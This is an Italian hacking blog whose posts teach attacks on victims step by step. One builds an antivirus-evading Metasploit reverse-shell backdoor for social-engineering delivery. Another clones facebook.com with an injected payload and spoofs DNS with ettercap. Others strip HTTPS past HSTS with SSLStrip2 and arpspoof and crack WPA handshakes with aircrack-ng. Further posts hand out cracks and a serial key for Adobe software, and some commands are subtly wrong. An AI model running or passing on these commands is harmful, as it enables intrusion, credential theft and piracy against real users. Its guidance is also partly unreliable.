DuxHack

SSLStrip 2, come bypassare HSTS

2015-03-29T15:53:00.001+02:00

Tutti quelli che sono interessati da qualche anno al penetration testing avranno sicuramente sentito parlare del famoso programma "SSLStrip", ma facciamo un piccolo ripassino.

Circa 6 anni fa, alla BlackHAT Conference del 2009, e' stato presentato SSLStrip, un tool scritto in python che sostituiva tutti i link "https" con link "http", permettendo quindi ad un attaccante, di sniffare tranquillamente le password delle vittime sulla sua rete LAN.

Per ovviare a questo problema, circa 3 anni fa è stata trovata come soluzione, l'implementazione di una nuova "Security Policy" chiamata "Http Strict Transport Security", che impedisce al browser di connettersi alle pagine non criptate, rendendo inutile SSLStrip e tutte le altre tecniche utilizzate fino a quel momento. Tutti i principali server, ad oggi, utilizzano questo nuovo metodo.

Negli ultimi mesi però, gli esperti di sicurezza hanno ricominciato a far sentire la loro voce e a trovare nuovi metodi per fronteggiare questa nuova protezione, sfornando in poco tempo due nuove tecniche.

La prima, la meno conosciuta ed efficace, sarebbe quella di effettuare un attacco MITM alle comunicazioni del protocollo NTP (Network Time Protocol). Infatti, come tutti sappiamo, i sistemi operativi hanno la possibilità' di sincronizzare l'ora con quella di internet, e fanno questo tramite il protocollo NTP. Esistono numerose versioni di questo protocollo, e la maggior parte dei sistemi implementa versioni vecchie, che non supportano ancora una comunicazione criptata.

L'attacco in se, funziona intercettando la comunicazione tra la vittima e il server che restituisce l'ora al protocollo, e fornendo alla vittima una data ed un ora simili (ovvero viene cambiato solo l'anno; il giorno, il numero e il mese rimangono invariati, così che non sia evidente il cambiamento), che però portino alla data di scadenza del certificato HSTS.

Per effettuare questo attacco, il programma più comunemente usato si chiama Delorean, un tool in python che non approfondirò in questo articolo.

** IL NUOVO METODO

Il secondo metodo, nonché il più recente ed accreditato, è quello utilizzato dalla "nuova versione" di SSLStrip, ovvero SSLStrip 2, un nuovo script in python scritto da LeonardoNve.

Ho utilizzato le virgolette nel definirlo una nuova versione, perché utilizza una tecnica completamente diversa, pensata proprio per ovviare a tutti i problemi legati alle nuove protezioni, e basata su un vero e proprio DNS spoofing.

Basandosi, infatti, su questo tipo di attacco MITM, può eludere non solo la protezione HSTS, grazie al fatto che, l'attaccante si connetterà al nostro dns, quindi in linea teorica al nostro sito web non protetto da quella policy, ma anche dai noiosi avvisi di sicurezza legati alla scadenza del certificato SSL del sito!
Il tutto in modo ancora più sicuro per l'attaccante, poiché, come mostrato nell'immagine, tramite il tool Dns2Proxy potremmo ottenere un dns server proxato, in modo da evitare (in parte) anche la possibilità di essere scoperti.
Ora che avete (spero) capito il funzionamento generale del programma, passiamo alla pratica, con Kali

** COME UTILIZZARLO
Prima di tutto, assicuriamoci di avere il sistema in ordine, eseguendo un controllo sugli update

apt-get update
apt-get upgrade

Ora scarichiamo i due tool già citati, ovvero SSLStrip2 e Dns2Proxy, estraiamoli dai rispettivi archivi, e spostandoci nella cartella di sslstrip2 tramite terminale. Installiamolo digitando:

python setup.py install

Fatto questo, iniziamo ad abilitare l'Ip Forwarding e settare le varie direttive iptables per garantirne il funzionamento:

echo "1" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8000
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53

Ora, può iniziare effettivamente l'attacco. Spostandoci nella directory di dns2proxy e lanciamolo digitando:

python dns2proxy -i <interface>

E' necessario specificare l'interfaccia nel caso non sia quella di default, ovvero la eth0.
Quindi lanciamo anche sslstrip2 in ascolto sulla porta 8000:

sslstrip -l 8000 -a

Infine, utilizziamo arpspoof per intercettare i dati:

arpspoof -i <interface> -t <victim ip> <gateway ip>

Noterete sicuramente che l'attacco non sarà perfetto, infatti è probabile che qualche sito riesca lo stesso a mantenere la connessione sicura mentre altri siti causeranno un errore nel programma, che non riuscirà a collegarsi al DNS reale del sito. Comunque sia avendo un buon margine di successo ci potremo ritenere soddisfatti.

** CONCLUSIONI E CONSIGLI
I "problemi" di questo attacco saranno principalmente due:

Il procedimento è un po lungo e noioso (non è un gran problema ma....)
Il target di questo attacco è solo uno

Per ovviare al primo problema, è stato già scritto uno script bash che ci automatizza il lavoro, se opportunamente settato, e scaricabile da QUA
Infine, per premiare chi è arrivato a leggere fino a qua, senza scappare subito su kali, consiglio di gran lunga di utilizzare il nuovo framework per gli attacchi man-in-the-middle, chiamato MITMF.
Infatti, è stata da poco integrata la funzione per il bypassing di hsts tramite un plug-in configurato per utilizzare SSLStrip2. Tramite questo framework potremo, con un semplice comando, risolvere anche il secondo problema, poichè lanciando il comando:

mitmf -i <interface> --arp --spoof --hsts --gateway <gateway>

Effettueremo un arp spoofing, bypassando hsts e (non specificando il target) su tutti i client connessi alla rete.
Per finire vi consiglio di spulciarvi per bene le numerose funzioni di mitmf e dare un occhiata ai link qua sotto.

** LINKS UTILI
BYPASSING HSTS TRAMITE NTP MITM

EXPLOITING DNS SERVERS CHANGES BLACKHAT 2014

SLIDE DELLA CONFERENZA

AnonaBox, la soluzione al problema dell'anonimato

2014-10-20T19:12:00.003+02:00

Anonabox è un progetto completamente open source nato dalla sempre più crescente esigenza di anonimato sul web.

A livello funzionale, questa scatoletta filtra OGNI TIPO DI COMUNICAZIONE tra il computer e internet, attraverso la famigerata rete TOR. Il che vuol dire che non avrete un semplice browser che filtra le comunicazioni http, come fa il tor browser, bensì un filtraggio totale su tutti i protocolli di rete.
Il tutto supportato da un altro software open source ben noto, ovvero OpenWRT, che insieme all'ottimo comparto hardware che vede una CPU MT7620n 32bit 580MHz e una RAM da 64Mb, permetteranno a tor di fare il suo lavoro senza troppi problemi di velocità (aspettiamo l'uscita a dirlo).

Ma questo non è tutto, poichè questo piccolo aggeggino possiede anche un protocollo wifi, protetto da WEP/WPA/WPA2, che ci permetterà di collegarci alla rete protetta anche da un qualunque client wifi, non dovendo badare a nessuna configurazione proxy.

Circa 2 giorni fa Anonabox ha chiuso la campagna su kickstarter, (il noto sito di crowdfunding) e si appresta a iniziare i lavori di produzione, quindi a breve avremo la possibilità di utilizzare questo fantastico prodotto. In ogni caso, vi terrò aggiornati sulla data di uscita.

Campagna kickstarter
Anonabox site

A presto

BadUSB cos'è e come utilizzarlo

2014-10-18T12:09:00.000+02:00

Dopo un anno dall'ultimo post, ho intenzione di ricominciare a scrivere su questo blog al fine di stimolare me stesso a restare sempre aggiornato sulle ultime novità del mondo dell'underground!

Quello di cui voglio parlare oggi è l'argomento che sta facendo scalpore nell'ultimo mese e che ha fatto la sua comparsa in scena nell'agosto 2014, (poco prima di essere completamente sovrastato dall'apparizione di ShellShock) ovvero "BadUSB"!

Come qualcuno di voi sicuramente saprà, si è parlato molto della scoperta di questa falla nelle periferiche USB che permetterebbe di sfruttare una riprogrammazione del firmware dell'USB 3.0 e inferiore, per poter manipolare l'identificazione da parte del nostro computer, della natura dell'USB.
Detto in parole semplici: come tutti sappiamo, nelle porte USB ci possono andare WebCam, periferiche audio, video, hard disk e quant'altro. Questa riprogrammazione del firmware di una pennetta USB ci permette di fare in modo che il nostro pc, quando inseriamo la periferica, la riconosca come una tastiera o come una webcam in modo da poter avere accesso ai driver di una periferica a nostro piacere, tramite un' apparentemente innocua chiave usb.

Ciò che ha fatto riparlare i media recentemente, è il rilascio del proof-of-concept, da parte degli scopritori della falla. Insieme ad esso però è stata anche rilasciata una patch dagli stessi creatori che, anche se non è assolutamente una soluzione definitiva, impedirebbe l'attacco sui pc, poichè andrebbe a disabilitare la boot mode automatica dell'USB 3.0.

Nel portale GitHub dove è presente il PoC (linkato in seguito), sono presenti tutti i file necessari all'installazione del BadUSB su una pennetta USB, correlati di una guida e il supporto da parte dei creatori, in caso di problemi!

Vi consiglio infine, di dare un occhiata anche al file, scaricabile dal sito dei relatori, chiamato "BadAndroid", il quale permette di effettuare un DNS Spoofing andando a modificare il protocollo usb dei telefoni android in modo che, una volta attaccato al computer il telefono, effettui appunto una redirottazione del traffico di determinati siti verso un sito a nostro piacimento (vi consiglio di dare una letta a questo articolo, in proposito). Nell'archivio, è presente una guida dettagliata all'uso, nel file ReadME

Presentazione del BadUSB al BlackHat 2014

PoC

Articolo interessante sui possibili sviluppi di questo attacco

Sito dei relatori

A presto

Crackare WPA di qualunque router

2013-08-14T17:19:00.001+02:00

Tutti parlano di quanto sia semplice il cracking delle WPA dei router Alice e Fastweb, ma nessuno ha mai parlato di come crackare le password dei router di altri gestori. Questo perchè è molto più difficile sia in linea teorica, che pratica.

Noi comunque andremo a scoprire tutta la parte teorica, e il se passare alla pratica lo deciderete voi, anche perchè comporta una spesa non da poco.

Andiamo per ordine, come prima cosa dobbiamo parlare dei vari sistemi di sicurezza delle reti wireless

Sistemi di sicurezza

Oltre alle forme di sicurezza basilari, quali il nascondere la rete wireless e il filtro dei Mac address, ci sono dei sistemi di sicurezza che agiscono al livello 2 del modello OSI.

Quando si parla di protezione delle reti wireless, bisogna differenziare i metodi di autenticazione da quelli di cifratura. L'autenticazione, oltre a dare un' identità al client deve anche generare una chiave come parametro della funzione di cifratura.

I metodi di autenticazione, sono sostanzialmente 2:

- WpA-PSK: Wifi Protected Access - Pre-Shared Key, il quale cifra le connessioni tramite una chiave precondivisa da passare come parametro alla funzione di cifratura

-Wpa Enterprise: è un sistema di autenticazione che veicola le comunicazioni ad un server RADIUS e che supporta vari protocolli autenticazione, tra i quali EAP (Extensible Authentication Protocol), EAP-TTLS, PEAP ed EAP-Fast

WPA2 è un sistema di autenticazione molto più sicuro del suo predecessore WPA perchè supporta la cifratura con TKIP, ma soprattutto con AES (Advanced Encryption System).

Per quanto riguarda la cifratura ne ho gia citati 2 di 3, e il terzo è il più conosciuto per la sua estrema facilità di crack.

I sistemi di cifratura, sono quindi 3:

-WEP (Wired Equivalent Privacy):

non spiegherò la pratica del cracking di questo sistema di cifratura perchè si trovano milioni di guide con una semplice ricerca su google, ma ve ne spiegherò la teoria, la quale è piú difficile da trovare.

Esistono due metodi per il cracking di questo tipo di reti: l'attacco passivo, che richiede molto tempo e l'attacco ARP replay con falsa autenticazione.

Il secondo è una completazione del primo, ora vediamo il perchè.

La criptazione dati di WEP, è semplicemente data dallo XOR del testo con la chiave di criptazione, che chiameremo keystream.

Questa keystream, è a sua volta data dalla chiave di criptazione nel router + un vettore di inizializzazione (IV), il quale viene posto alla fine dell'header di ogni frame. Essendo questo IV di 24 bit, è molto probabile che nello scambio di frame ci siano vari IV uguali, quindi confrontando molti frame con IV uguali, con un buon calcolatore si può trovare la chiave in breve tempo.

Quando WEP venne rilasciato, per raccogliere molti frame, ci voleva molto tempo, anche in base all'attività sulla rete, quindi l'attacco passivo, poteva richiedere molto tempo.

Dopo qualche tempo venne scoperto che l'algoritmo WEP era vulnerabile all'attacco replay, cioè un attacco che permette di generare centinaia di frame in pochi secondi. In questo modo la fase di raccolta dati sarà ridotta a meno di 10 minuti, e il crack della password, sarà molto più semplice, data la grande quantità di dati da poter elaborare.

TKIP (Temporal Key Integrity Protocol)

Quando si vennero a sapere tutte le vulnerabilità del protocollo WEP si sentì l'esigenza di creare un altro sistema di sicurezza, che fosse supportato dagli hardware di vecchia generazione, in modo che sarebbe bastato un semplice aggiornamento del firmware per eliminare il problema di WEP.

WPA si basa su questo sistema di cifratura, e utilizza solo questo.

In seguito andremo quindi a vedere come si può bucare questo protocollo.

AES-CCPM (Advanced Encryption System - Counter Mode with Cipher Block Channing Message Authentication Code Protocol)

Questo sistema di cifratura è nato insieme a TKIP, ma non è supportato dal vecchio hardware. É sicuramente il sistema di sicurezza più sicuro, ed è ora supportato da WPA2 in tutti i router attualmente disponibili.

CRACKING DI WPA-PSK

Quando parliamo del cracking di WPA, parliamo indirettamente del cracking di TKIP.

Al momento non sono ancora state trovate falle importanti in questo protocollo, per questo è rimasto, tutt'ora, molto popolare.

Quindi ora vi starete chiedendo come sia possibile trovare una password per questo tipo di protocollo.

Ebbene, come molti sapranno, spesso, in questi casi, vanno usati il dictionary attack e il bruteforce.

Il problema fondamentale è che queste password possono essere dai 3 ai 63 caratteri ASCII e vengono sottoposte all'hashing per 4096 volte. Questa password è, in questo caso, la Pre-Shared Key (PSK). La PSK serve a generare due chiavi di cifratura che poi verranno passate alla funzione: la PTK e la GTK.

Vi starete chiedendo come si possa ora effettuare un bruteforce, e come possa essere questo attacco veramente efficace.

L'efficacia, mi permetto di dire, che è data principalmente dal fatto che si possa lavorare offline. Ma su cosa? Bhè, dato che la creazione di queste due chiavi avviene durante un processo di autenticazione chiamato four-way handshake, intercettando questo processo potremo tentare di brutare la chiave precondivisa.

Fare questo è la cosa più facile del mondo, con aircrack-ng.

Questo è il comando:

aircrack-ng --channel "channel della rete" --write handshake --bssid "bssid della rete" mon0

Scandagliamo: l'opzione --write, serve a scrivere l'handshake in un file che io ho chiamato handshake, l'opzione --bssid serve a focalizzare lo sniff sulla rete bersaglio, e mon0 è la nostra interfaccia di rete, precedentemente messa in monitor mod.

Fatto questo potremo dare in pasto ad aircrack-ng stesso, il file, indicando anche un file contenente il dizionario, per iniziare offline il dictionary attack.

Per fare questo, utilizzeremo il seguente comando:

aircrack-ng -w dizionario.lst Handshake.cap

Scandagliamo: l'opzione -w serve per indicare il dizionario, mentre Handshake.cap è il file che abbiamo scritto precedentemente.

Il programma per verificare che la chiave sia veramente esatta deve effettuare l'hashing della parola, anch'esso per 4096 volte. Questa operazione richiede tempo, ma nonostante ciò il programma può elaborare circa 2500 parole al secondo, con un processore moderno. Nonostante questo sia già sbalorditivo, esistono due metodi che permettono di centuplicare il risultato di calcolo. Il primo di questi è l'uso delle rainbow tables precalcolate. Il problema di queste è che necessitano di un SSID comune, poichè l'hashing è fatto proprio con l'SSID della rete.

Un altro metodo per velocizzare il bruteforcing è l'utilizzo della GPU, il nostro processore grafico, poiche è molto più efficente dei processori normali. In base alla potenza della vostra scheda grafica potrete ottenere delle prestazioni anche superiori all'uso delle rainbow tables.

Con questo ho concluso.

Creazione di un Backdoor con i PayLoads di Metasploit

2013-03-17T20:33:00.001+01:00

Quasi tutti i Pentesters e gli appassionati di informatica non specializzati, conosceranno il famigerato framework "Metasploit". Chi non lo conosce si informi, perché ha un bel mondo da scoprire avanti a se.
Chi ha mai tentato di effettuare un pentesting su un sistema (anche quello di casa sua), conoscerà il grande "msfpayload" che in pratica è il tool che permette al pentester di avere il controllo del pc exploitato. Però, molti non sanno che i payload generati possono anche essere racchiusi in un eseguibile da mandare alla nostra vittima manualmente, quindi chi non riuscisse a trovare una vulnerabilità del sistema, può sempre affidarsi a questo metodo secondario che richiede semplicemente il buon vecchio social engineering.

Bando alle ciance e ciancio alle bande, quel che voglio mostrarvi oggi è proprio questo ed è ottenibile tramite una funzione già integrata nell'msfpayload, quindi per fare un articolo un po più ricco, vedremo come attaccare un sistema tramite questa tecnica, usando come payload il classico meterpreter in reverse_tcp criptato in modo da essere quasi FUD

Mettiamo mano a backtrack (usate quel che volete), e come prima con il comando "ifconfig" vediamo qual'è il local host.
Capito questo, nel mio caso 192.168.1.4, vediamo come creare un file con estensione .exe tramite metasploit, ma senza alcuna criptazione:
- msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.4 lport=4444 X > meterpreter.exe

Quel parametro "X > meterpreter.exe" è proprio quello che ci interessa per creare il file, che si chiamerà appunto "meterpreter.exe".

Adesso invece, cambieremo qualche cosetta in modo da rendere il nostro backdoor completamente non rilevabile dagli antivirus, con questo comando:

-msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.4 lport=4444 R | msfencode -t exe -c 2 -x /root/Desktop/file.exe > encoded.exe

Attenzione, analizziamo insieme il comando. L'opzione R serve a passare il comando all'msfencode, "-t" specifica l'estensione del file da criptare, "-c" imposta il numero di criptazioni e "-x /root/Desktop/file.exe" serve a implementare il payload nel file.
In questo modo avrete ottenuto un vero e proprio backdoor con connessione reverse tcp e con una grande possibiltà di bypassing degli antivirus.

Ovviamente, per poter far funzionare il nostro eseguibile avremo infine bisogno di un qualcosa che ci faccia da client per il ricevimento delle informazioni e questo è ottenibile, semplicemente digitando:

-msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=192.168.1.4 lport=4444 E

Così facendo, appena il client troverà la connessione in entrata aprirà la sessione di meterpreter e sarete dentro.

A presto

eLearnSecurity Students pack v2 a breve rilasciato

2013-02-23T11:27:00.001+01:00

Tutti gli appassionati di PenTesting conosceranno eLearnSecurity, la compagnia Italiana che ha inizializzato al PT migliaia di persone con guide studiate nel dettaglio per fornire ai beginners appassionati, tutti li strumenti per fare pratica, con la teoria sotto mano...
Per chi non lo conoscesse, consiglio vivamente di visitare il sito e dare un'occhiata alle svariate possibilità di apprendimento fornite.
Bando alle ciance, martedì 19 febbraio, durante un loro webinar, al quale ho volentieri assistito, hanno annunciato il lancio dello Penetration Testing student v.2, cioè un pacchetto attualissimo, trattante tutte le svariate sfaccettature del pentesting; dalla sicurezza sul web (sniffing e i vari attacchi) alla sicurezza delle applicazione web (trattando xss, sql injection e quant'altro...), senza dimenticarsi ovviamente della sicurezza dei programmi e del sistema (con una breve introduzione all'asm al c++ e al C, e lo studio di attacchi come il buffer overflow, stack overflow...).

Io lo consiglio veramente a tutti quelli che hanno tempo e passione per addentrarsi nell'argomento, poiché tratta veramente in modo ben fatto tutti gli argomenti che, se studiati sul web, richiedono il triplo del tempo di studio.
Per tutte le informazioni, visitate il sito ELearnSecurity e ordinate il vostro pacchetto.
La data di uscita ufficiale è il 26 febbraio.
Buono studio a tutti.

Payload Injection tramite Site cloning e Dns Spoofing con BT5

2013-02-11T11:38:00.001+01:00

Oggi ragazzi, farò un breve guida sul come injectare un payload in un computer connesso sulla nostra stessa rete, usando il "Site cloning" e il "Dns spoofing" con Backtrack 5.
Quel che andremo a fare sarà configurare un exploit in modo che quando la vittima si connetterà ad un determinato sito scelto da noi, tramite il dns spoofing sarà redirectata al nostro local host, nel quale sarà preparato esattamente il sito che si aspetta, con la sola differenza, che nel sito sarà injectato il nostro payload, compresso e criptato per essere invisibile agli antivirus, che ci permetterà di avere il controllo del pc vittima, senza che questa si accorda di nulla.

Quel che ci serve, è tutto già compreso in BT 5 ed è il Social Engineering Toolkit, Metasploit ed Ettercap.
Apriamo SET e:

Spostiamoci in Social Engineering Attacks (1)->WebSite Attacks Vector(2)->Java Applet Attack Vector(1)->Site Cloner(2).
Scriviamo adesso il nostro LHost, il mio è 192.168.1.5.
Inseriamo l'indirizzo del sito da clonare, io metto "www.facebook.com".
Impostato la porta di ricezione (default:443)
Impostiamo il payload, di solito io uso meterpreter in reverse_tcp
Impostiamo il metodo di criptazione (usa l'msfencoder), nel multi encoding (15) [il 16 è anche meglio]
Adesso SET vi chiederà se inizializzare il listening sulla porta da voi scelta, tramite l'msfcli, dategli "yes"

Ora che abbiamo creato il sito con il payload sul nostro local host e abbiamo impostato l'ascolto sulla nostra porta, non bisognerà fare altro che redirectare la vittima con il dns spoofing al nostro lhost, tramite ettercap.
Quindi apriamo un terminale e digitiamo:

gedit /usr/local/share/ettercap/etter.dns

Ci si aprirà il file di configurazione dns di ettercap, nel quale dovremo impostare il sito origine e il sito destinazione, quindi spostiamoci in basso e scriviamo:

facebook.com A Lhost
*.facebook.com A Lhost

Così adesso il plugin di dns spoofing di ettercap saprà cosa fare. Adesso possiamo procedere al redirecting tramite questo comando, che tramite un attacco MITM (se non sapete cos'è, l'ho trattato parecchio tempo fa QUA) farà ciò che noi vogliamo:

ettercap -Tqi wlan0 -P dns_spoof -M ARP // //

Farà tutto lui, lasciate fare e dimenticatevi di questo terminale. Tornate su SET e vedrete che appena la vittima aprirà il sito www.facebook.com, vi si aprirà la classica sessione di meterpreter, o la shell e quant'altro nel caso aveste scelto un altro payload.

Se vi è interessato l'articolo, continuate a seguirmi ogni settimana, perché penso che da qua in poi pubblicherò qualcosa in più sul pentesting.
Alla prossima

Alternativa a Installous? C'è e si chiama VShare

2013-01-24T18:35:00.006+01:00

È arrivata finalmente l'alternativa al tanto amato Installous, che, come ormai tutti gli abituali utilizzatori degli IDevice Jailbroken sapranno, è stato bloccato permanentemente.
Questa nuova applicazione, si può persino definire migliore della vecchia, sia in quanto nella fluidità dell'app stessa, sia
nella velocità di download (non parlo per sentito dire, l'ho provata personalmente)...
Fino a qualche tempo fa, però, so che molti ebbero problemi nell'installazione di questo "VShare" ed è proprio per questo che ho voluto fare questo articolo: al fine di spiegare a tutti come installare la versione semi-italiana del programma, senza alcun problema...
Dico semi-italiana, perché di italiano c'è solo l'interfaccia grafica, mentre le app sono miste tra cinese ed italiano (questo però non creerà problemi nella ricerca delle app).

La cosa é molto semplice: basterà aprire cydia ed aggiungere la repo di:
http://www.cyhack.net/repo/

Fatto questo, entrate nell'archivio della repo e cercate, appunto, "VShare Ita"
Voglio sottolineare che però, alcune app non riusciranno ad essere installate poiché presenti solamente sul server di apptrackr, ormai chiuso.

Personalmente ho trovato l'applicazione molto intuitiva e carina, funzionale a tutti gli effetti, e di gran lunga migliore sotto vari aspetti, rispetto ad Installous.
Sta a voi provare e sapermi dire, a presto

Adobe Photoshop CS6 Crack Download

2012-12-30T13:20:00.002+01:00

Eccoci ragazzi, oggi vi propongo l'ennesima crack di uno dei più famosi prodotti Adobe di recente uscita: Adobe Photoshop CS6.
Cosa fare per crackarlo:

Scaricare il prodotto, dal sito dell'Adobe, in versione Trial (questo vi darà la possibilità di accederci per una prova di 30 giorni
Scaricare la Crack, QUA
Rinominare il file scaricato in "amtlib.dll"
Sostituire il file scaricato e rinominato al file originale nella cartella di Photoshop
Riavviate adesso Photoshop e vedrete che non ci sarà alcun limite di tempo per la vostra trial

Nel caso il file venisse rimosso, prego qualcuno di avvertirmi tramite commento e/o email, in modo che io possa riupparlo.
Per domande o problemi, risponderò nei commenti..

Adobe illustrator CS5 Download + Crack

2012-12-05T21:06:00.001+01:00

Adobe Illustrator è un programma Adobe, per la CREAZIONE di disegni artistici, ed è il migliore nel suo campo; infatti è il più usato da architetti, web designer, e anche piccoli artisti (infatti viene usato in molti licei artistici).

Non mi dilungo sulla descrizione, in quanto ho aperto questo post per permettere a tutti voi di poter avere GRATIS Adobe Illustrator.

1-Per prima cosa scaricatevi dal sito dell'adobe, adobe illustrator oppure da QUI.
2-Successivamente completate l'installazione in versione Trial per 30 giorni.
3-In fine scaricate QUESTO e copiatelo in:
"C:\Program Files (x86)\Adobe\Adobe Illustrator CS5\Support Files\Contents\windows".
4. riavviate Illustrator e ce lo avrete per sempre.

A chi non funzionasse, l'errore dovrebbe stare nella versione del software...
Per questo, provate a usare questo codice (che mi ha segnalato un utente e sembra funzionare):

1325-1007-8106-7055-8198-6024

Adobe Illustrator CS6 Crack Download

2012-11-22T00:00:00.000+01:00

Ecco a voi, ragazzi, la crack di adobe illustrator CS6, il rinomato e costosissimo prodotto adobe dalle mille sfaccettature e possibilità.

Senza troppe chiacchiere, so che ciò che vi interessa è il download:
Adobe Illustrator CS6 amtlib.dll

Nell'archivio rar c'è il file amtlib.dll per windows a 32 e a 64 bit.

Per chi non lo sapesse, questo è tutto il procedimento di crack del suddetto prodotto Adobe:
-Scaricare dal sito di Adobe, la trial di Adobe Illustrator CS6
-Recarsi nella sua cartella e sostituire il file amtlib.dll crackato, con quello originale
-Disabilitare, con windows firewall, la connessione ad internet del programma (spesso non è strettamente necessario)
Adobe Illustrator CS6 sarà pronto all'uso.

Avvertitemi per email o nei commenti, nel caso mediafire, togliesse il download per la violazione, provederò ad aggiornare il link
A presto, Black

Scaricare musica GRATIS ad alta qualità direttamente da Iphone

2012-11-11T21:51:00.003+01:00

Oggi ragazzi voglio mostrarvi un metodo fantastico e praticamente sconosciuto per scaricare musica alla massima qualità (quella di Itunes) direttamente da Iphone. Non solo, tramite questo metodo che vi andrò a presentare potrete anche trasferire in meno di 10 secondi tutte le canzoni scaricate alla libreria musicale del vostro Iphone.Assicuro a tutti gli amanti della musica che è un metodo fantastico per scaricare la musica ad alta qualità.

Intanto bisogna avere l'Idevice con podsibilmente Ios 5 jailbroken.
Partiamo quindi aggiungendo la repository di xsellize, con indirizzo "cydia.xsellize.com". Fatto questo dovete scaricare:
-GrooveShark, applicazione del famoso sito web online per l'ascolto di musica alla massima qualità
-GrooveShark Enhancer, che vi permetteraà il download
-Gremlin, che permetterà lo spostamebto delle canzoni alla libreria musicale
-UDIDFaker che vi permetterà di tenere grooveshark perennemente

Bene, fatto questo aprite grooveshark e se non ce lo avete, createvi un account premendo il tasto in alto a destra "login" (non c'é la verifica della validità della mail)..
Riavviate grooveshark dopo aver fatto il login e scegliete l'opzione della trial per 30 giorni...Tramite UDIDFaker potrete riavviare i 30 giorni ogni volta che vorrete, quindi vi troverete una schermata semplice ed intuitiva come quella che é nell'immagine.
Vi assicuro che la qualitá è quella di itunes e il download delle canzoni è veramente rapidissimo, a me, che sono un appassionato di musica, quest'applicazione mi ha cambiato la vita, spero faccia lo stesso con voi,

A presto

IAT Hooking, Rootkit in User Mode

2012-09-20T13:14:00.000+02:00

Nello scorso articolo abbiamo parlato dell'SSDT Hooking, nonchè dello sviluppo di rootkits che agivano in kernel mode. Oggi invece voglio parlarvi dello sviluppo di un rootkit che agisce in user mode, cioè non sfruttando le api native e quindi operando semplicemente a ring 3 come un normalissimo programma.
Vorrei illustrarvi, più precisamente, come effettuare una IAT hooking manuale, semplicemente sfruttando il nostro debugger.

Come dovreste già sapere la RAM, come dice la parola stessa, è una memoria ad accesso casuale. Quando il loader di windows viene interpellato per caricare un programma provvisto della signature del PE, la prima cosa che fa è caricare l'immagine del programma in memoria, insieme a tutte le librerie dinamiche (dll) a cui questo si appoggia. Quindi il loader caricherà tutte le funzioni che servono al programma in memoria, ma queste avranno un indirizzo assolutamente casuale e quindi, se il programma fosse adibito a chiamare esclusivamente una funzione ad un indirizzo preciso, potrebbe non trovarla e magari incappare in un aria di memoria inutilizzata oppure utilizzata da qualche altro programma. Per questo il loader di windows al momento del caricamento delle dll va a compilare una tabella chiamata IAT (Import Address Table), e il programma ogni volta che dovrà effettuare una call andrà ad interpellare prima questa tabella.

Dopo questa storiella, dovreste aver già capito cos'è lo IAT hooking, ma ve lo dico esplicitamente: è la modifica della IAT al fine di redirectare una call verso un'altra funzione creata ad hoc da noi.

Io in questo articolo voglio mostrarvi come effettuare questa tecnica per modificare una MessageBox manualmente tramite OllyDBG non modificando la funzione stessa in alcun modo. Questo però non centra niente con il vero processo di creazione di un rootkit.
Spesso viene usata la dll injection per questo scopo, ma è un pò più complicato, anche se, assolutamente niente di impossibile.
Prima di iniziare, infine, vorrei dire che è LA tecnica più rilevata e banale per fare un rootkit, ma secondo me vale la pena sapere di che cosa si tratta.

Iniziamo con crearci il nostro programma vulnerabile in C:

-------------------------------------------------------------------------------
// IAT Hooking.c //
// Visit DuxHack.blogspot.com //

#include <stdio.h>
#include <conio.h>
#include <windows.h>

int main(void)
{
MessageBox(NULL,"MessageBox","IAT Hooking",MB_OK);
}

-------------------------------------------------------------------------------

Bene, adesso apriamolo con OllyDBG e mettiamo un BreackPoint sulla call alla MessageBox, come nell'immagine:

Adesso che ci siamo sopra, guardiamo in basso e vediamo che c'è un indirizzo che ci interessa:

Eccolo, è proprio quel "00401870" che ci interessa. Andiamo a questo indirizzo e possiamo vedere una cosa del genere:

In basso c'è l'indirizzo dove attualmente il loader di windows, ha mappato la call originale "MessageBoxA" della "User32.dll".

Adesso premete il tasto destro e trovate la voce "View" e selezionate appunto "Module User32" tenendo bene a mente l'indirizzo. Fate "Go to" e mettete l'indirzzo.

Bene siete esattamente nella procedura della call. Adesso, non dovrete fare altro che trovare un code cave oppure crearvelo e metterci una bella call ad una chiamata che volete voi, preceduta ovviamente dai suoi parametri. Quindi modificare la Call all'interno della dll redirectandola alla vostra API. Avrete ottenuto il risultato voluto.

SSDT Hooking, Rootkits in Kernel mode

2012-09-13T13:18:00.002+02:00

Iniziamo il "nuovo anno", finite le vacanze, con un argomento molto interessante, cioè lo sviluppo di un rootkit in kernel mode.
Innanzitutto, bisogna sapere che un rootkit è un insieme di programmi che permette ad un attaccante di violare un computer ottenendo i massimi privilegi possibili (privilegi di root) in modo non rilevabile e permanente.
La parola stessa quindi deriva da "kit di root".
In questo articolo andremo ad analizzare i rootkit che agiscono in kernel mode con architetture a 32bit, più precisamente, quei rootkit che sfruttano la scarsa sicurezza della System Service Descriptor Table (SSDT) del kernel NT.
Ci terrei a precisare che questa tecnica è nata insieme ai primi rootkit, non ufficialmente, intorno al 2000 ed è, in questo momento, forse la tecnica più banale e più rilevata dai sistemi anti-rootkit in circolazione, a causa dell'enorme mole di materiale sul web che ne illustra (spesso con l'ausilio di codici completi) il suo funzionamento.

La tabella SSDT è una delle più importanti tabelle di tutto il kernel Nt, ed è quella che comunemente è chiamata "Dispatch Table", cioè tabella di indirizzamento perché serve al sistema operativo per indirizzare le applicazione che operano a ring 3 (User mode) alle API native. Si trova in una struttura chiamata KeServiceDescriptorTable. Le API native, appunto, sono API fornite dal kernel per permettere alle API dei sotto sistemi (win32 ecc..) di svolgere determinate operazioni possibili solo in kernel mode.
Dentro la suddetta tabella, quindi, troviamo un array di puntatori che puntano a queste API.

Quindi, in linea teorica, noi non potremmo usare le API native, perché sarebbe come operare in kernel mode e infatti il kernel prevede che il sistema di funzionamento di un applicativo sia: Applicativo -> API del sottosistema -> API Nativa -> Kernel NT.

I rootkit che operano a 32 bit sfruttano appunto la tabella SSDT per interfacciarsi direttamente con il kernel, usando un sistema di funzionamento diverso, cioè: Applicativo -> API Nativa -> Kernel NT.
Il rootkit ha quindi, il compito di:

-Trovare l'indirizzo della tabella SSDT, importanto la struttura della KeServiceDescriptorTable
-Leggere l'indirizzo dell' API nativa che gli interessa
